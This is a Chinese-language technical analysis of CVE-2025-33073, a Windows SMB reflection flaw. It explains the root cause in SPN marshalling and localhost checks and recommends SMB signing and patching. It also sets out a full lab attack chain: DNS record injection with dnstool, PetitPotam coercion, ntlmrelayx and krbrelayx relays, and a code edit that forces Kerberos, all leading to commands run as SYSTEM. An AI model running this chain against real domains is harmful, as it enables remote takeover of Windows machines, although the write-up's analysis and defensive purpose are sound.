❝

6月10日的补丁更新了 CVE-2025-33073 漏洞，在6月11日漏洞作者公开了漏洞细节 《NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073》，微软官方对该漏洞的描述为 SMB 客户端特权提升漏洞，但从影响面来看不止权限提升这么简单，攻击者只要有任意权限的域用户权限且目标机器不开启 SMB 签名就能远程命令执行，而在大部分情况下，SMB 签名默认只有域控开，域内机器十有八九是不开的。

漏洞验证

漏洞使用前提：

• 任意权限的域账户
• 目标机器没有开启 SMB 签名

攻击者：

• kali：192.168.56.9
• victim：192.168.56.22/CASTELBLACK.NORTH.SEVENKINGDOMS.LOCAL
• 域控：192.168.56.11/WINTERFELL.NORTH.SEVENKINGDOMS.LOCAL

攻击细节

pretender -i "eth1" --spoof "CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" --no-dhcp-dns --no-timestamps

SMB、HTTP 在解析域名时会尝试所有的方法：IPv4, IPv6, mDNS, LLMNR, NetBIOS-NS, A, AAAA, ANY和所有可能的组合去获取到域名的解析 IP

使用 dnstool 向域内添加 DNS 记录（该方法可在不同局域网使用）

$ dnstool.py -u 'NORTH.SEVENKINGDOMS.LOCALarya.stark' -p 'Needle' 192.168.56.9 -a add -r CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -d 192.168.56.11 [-] Adding new record [+] LDAP operation completed successfully

$ impacket-ntlmrelayx -t CASTELBLACK.NORTH.SEVENKINGDOMS.LOCAL -smb2support

$ PetitPotam.py -d NORTH.SEVENKINGDOMS.LOCAL -u 'arya.stark' -p 'Needle'"CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA""CASTELBLACK.NORTH.SEVENKINGDOMS.LOCAL"

第一步和第三步与上述一致，第二步开启 krbrelayx 。

$ python3 krbrelayx.py -t CASTELBLACK.NORTH.SEVENKINGDOMS.LOCAL -debug -c 'cmd /c "whoami /all & hostname & ipconfig"'

漏洞分析

本地 NTLM 认证是一种特殊的机制，也就是在 NTLMSSP_CHANLLENGE 包中如果字段 NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) 为 set ，也就是服务端告诉客户端应该使用本地 NTLM 认证，并且创建一个服务器上下文，添加到全局上下文列表中，最后将上下文 ID 插入 Reserved 字段中。当客户端收到 NTLMSSP_CHANLLENGE 数据包时，就知道要进行本地 NTLM 身份验证，然后通过 Reserved ID 将自己的 token 传递到服务器的上下文中。又因为客户端和服务器属于同一台计算机，所以所有操作都在 lsass.exe 进程的内存中，最后客户端不需要计算 NTLMSSP_AUTH 消息中的 Challenge 响应，直接返回空值，服务器便可以使用添加到上下文的令牌在目标主机上执行命令。

鉴定是否为本地 NTLM 认证，服务器端通过校验 NTLMSSP_NEGOTIATE (0x00000001) 中的工作站名称（Calling workstaion name）和域名（Calling workstaion domain），首先会检测是否存在着两个字段的值（如果是 IP 地址则没有这两个字段的值），如果存在，则将其与当前计算机名称和域名进行比较，如果结果相等，则会将字段 NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) 设置为 set，并且创建服务器上下文并将其添加到 Reserved 字段中。

当我们直接使用 IP 地址或者域名作为 NTLM 反射地址，PetitPotam 强制 SYSTEM 服务对我们的主机（kali）进行身份验证时，因为源 IP 地址（192.168.56.9）与受害者主机（CASTELBLACK）的 IP 地址（192.168.56.22）不匹配，NTLM 认证就会认为客户端和服务端不是同一台计算机，从而不会进行本地 NTLM 验证，所以中继就会失败。

可以通过流量包的形式来看，在NTLMSSP_NEGOTIATE (0x00000001) 数据包中可以看到工作站名称（Calling workstaion name）和域名（Calling workstaion domain）都为 NULL。

根本原因是 SMB 客户端在处理对域名处理存在差异性的逻辑问题。

当用户输入的 cifs/CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 时，SMB 客户端会检查域名是否存在 MarshalledTargetInfo 信息，如果检测到则会对这段信息进行切割，最后得到的是 cifs/CASTELBLACK。

❝

Kerberos SSPI 支持一种特殊的 SPN 格式（如 CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA），如果 Kerberos SSPI 遇到这种格式的 SPN，它会计算新字符串的长度，将其与 SPN 进行分割，然后继续使用新的 SPN 字符串进行验证过程。SMB 客户端为了支持这种格式，会调用 SecMakeSPNEx2 API，该 API 又会调用 CredMarshalTargetInfo 来构建新的字符串，并将其附加到 SPN 的末尾。

而为了验证目标服务器的名称和当前计算机是否为同一台机器，SspIsTargetLocalhost 函数会对 IP 或者域名进行比对，如果目标服务器使用的是域名，则会将域名和以下三个内容做比较：

• 机器的 FQDN (CASTELBLACK.NORTH.SEVENKINGDOMS.LOCAL)
• 机器的主机名 (CASTELBLACK)
• localhost

如果目标服务器使用的 IP 地址，则会和当前计算机所有接口的 IP 地址进行比对，假设最后匹配成功，则会在 NTLMSSP_NEGOTIATE (0x00000001) 数据包中添加工作站名称（Calling workstaion name）和域名（Calling workstaion domain）字段。根据以上例子可以看到，当 CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 被切割后生成的新字符串为 CASTELBLACK 正好与机器的主机名一致，所以匹配成功，那么客户端就认为要进行本地 NTLM 认证。

又因为域名会跟 localhost 进行比较，所以 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 可以通杀所有主机。

由 CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 想到，从 Kerberos 中继的视角来看，我们是否可以通过 Kerberos 中继来实现这个操作，因为 Kerberos 本身并没有防御中继攻击的手段。

这里使用 krbrelayx 进行 Kerberos 中继，这里需要修改代码 lib/servers/smbrelayserver.py，注释掉 NTLMSSP 的 MechType。

blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),                                                       MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5'])])#                                               MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])

否则会报如下错误，因为当远程服务器同时支持 Kerberos 和 NTLM 认证时，并且客户端检测到目标为当前计算机，则使用 NTLM 进行身份认证，所以在进行 Kerberos 中继时，可以修改代码强行让客户端使用 Kerberos 认证。

当使用 Kerberos 中继成功后，我们通过数据包来分析整个过程，首先在 wireshark 中添加票据解密密钥。

获取 Kerberos 解密文件，参考通过 Wireshark 解密 Kerberos 票据

1. 攻击者（kali）强制让目标服务器（CASTELBLACK）对攻击者服务器的 SMB 进行身份认证。
2. 因为 krbrelayx 强制让目标服务器使用 Kerberos 认证，所以目标服务器向 KDC 申请 cifs/CASTELBLACK 的 TGS 票据（TGT步骤省略）。
3. 目标服务器（CASTELBLACK）向攻击者发送 KRB_AP_REQ。
4. 攻击者（kali）将 KRB_AP_REQ 中继给目标服务器（CASTELBLACK）

通过抓包可以看到，在整个流程中 Kerberos 认证始终使用的是 CASTELBLACK$通过查看 KRB_AP_REP，返回给攻击者（kali），身份验证成功。

以下是整个过程的流程图。

当 SMB 客户端解析 CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 成 CASTELBLACK 后，通过 Kerberos 获取到 TGS 票据的认证账户是 CASTELBLACK$，当中继回目标服务器（CASTELBLACK）进行身份验证，又因为 Windows 在使用计算机帐户进行身份验证时错误地重用了 SYSTEM 令牌，导致权限提升，攻击者使用 SYSTEM 凭据在目标机器执行任意命令。

修复建议

❝

只通过禁止普通域用户新建 DNS 记录这种缓解措施存在 Bypass，在攻击细节中有详细描述

# 要为出站连接启用 SMB 客户端签名，请运行以下命令Set-SmbClientConfiguration -RequireSecuritySignature $true# 要为入站连接启用 SMB 服务器签名，请运行以下命令Set-SmbServerConfiguration -RequireSecuritySignature $true

微软已发布针对该漏洞的补丁包，可以直接通过 Windows 自动更新解决即可。

参考链接

• NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073 https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
• pretender https://github.com/RedTeamPentesting/pretender
• dnstool https://github.com/dirkjanm/krbrelayx
• krbrelayx https://github.com/dirkjanm/krbrelayx
• SecMakeSPNEx2 https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-secmakespnex2
• CredMarshalTargetInfo https://learn.microsoft.com/en-us/windows/win32/api/ntsecpkg/nf-ntsecpkg-credmarshaltargetinfo
• 补丁包 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33073